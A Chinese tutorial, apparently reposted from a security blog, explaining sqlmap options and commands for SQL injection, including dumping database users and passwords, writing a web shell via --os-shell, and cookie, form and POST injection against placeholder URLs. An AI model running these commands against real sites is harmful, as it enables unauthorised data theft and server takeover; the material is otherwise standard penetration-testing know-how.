首页 > 数据库 > 数据库开发技术 > Sqlmap注入从入门到放弃
sqlmap是我们肾透中必不可少的神器之一。通过对数据库的注入,获取目标主机的管理员账号和密码。登录后台后通过上传、逻辑等漏洞获得服务器shell。本文将为你详细介绍sqlmap的基本参数和用法。

-u #指定目标
-dbs #列举数据库
--level #探测等级
--count -D "数据库名" #获取表中数据个数
--current-db #列举当前数据库
--users --passwords #列举数据库用户名
--current-user #列举当前用户
--privileges #查看权限
--os-shell #写web shell
--is-dba #判断当前用户是不是dba
--tables -D "数据库" #列举数据库的表名
--columns -T "表名" -D "数据库" #列举列名
--dump -C "列名" -T "表名" -D "数据库" #列举数据
--start=:#指定开始的行
--stop=:#指定结束的行
--threads=:#线程数
--risk 1(2,3,4)
共有四个风险等级,默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试。在有些时候,例如在UPDATE的语句中,注入一个OR的测试语句,可能导致更新的整个表,可能造成很大的风险。
--level 1(2,3,4,5)
共有五个等级,默认为1,sqlmap使用的payload可以在xml/payloads.xml中看到,你也可以根据相应的格式添加自己的payload。cookie在level为2的时候就会测试,
HTTP User-Agent/Referer头在level为3的时候就会测试
-v
显示sqlmap对一个点是进行了怎样的尝试判断以及读取数据的
共有七个等级,默认为1
(0)只显示python错误以及严重的信息。
(1)同时显示基本信息和警告信息。(默认)
(2)同时显示debug信息。
(3)同时显示注入的payload。
(4)同时显示HTTP请求。
(5)同时显示HTTP响应头。
(6)同时显示HTTP响应页面。
cookie注入常见有两种,一种是cookie中的值拼接成sql语句产生注入。另一种asp的cookie中转注入。原因是程序对提交数据获取方式是直接request(c.s.t)的方式。未指明使用request对象的具体方法进行获取。可以都接收get,post,cookie方式提交的数据,一般程序只是过滤了get和post注入,如果没有过滤cookie注入语句,我们就可以进行注入了。
cookie注入命令
sqlmap -u "http://www.xxx.com" --level 2 #枚举强度
sqlmap -u "http://www.xxx.com" --cookie "id=1"
常见的表达注入有三种方式表单枚举
sqlmap -u "http://www.xxx.com" --forms
指定post参数
sqlmap -u "http://www.xxx.com" --data "username=1&passwd=1"
抓包构造
sqlmap -r test.txt
简单判断伪静态
浏览器F12开发者工具控制台
alert(document.lastModified)
会弹出网页最后更新时间,多次刷新页面,通过时间判断出是否为静态页面
sqlmap -u "http://www.xxx.com/index.php/Index/id/1*.html"
在我前期的文章中,已经介绍了很多关于sqlmap的使用和实战。本文注重理论方面的讲解,有兴趣的小伙伴可以看看往期的文章。
更多工具 关注我们
原文作者:Kali笔记;如有侵权,请联系管理员删除。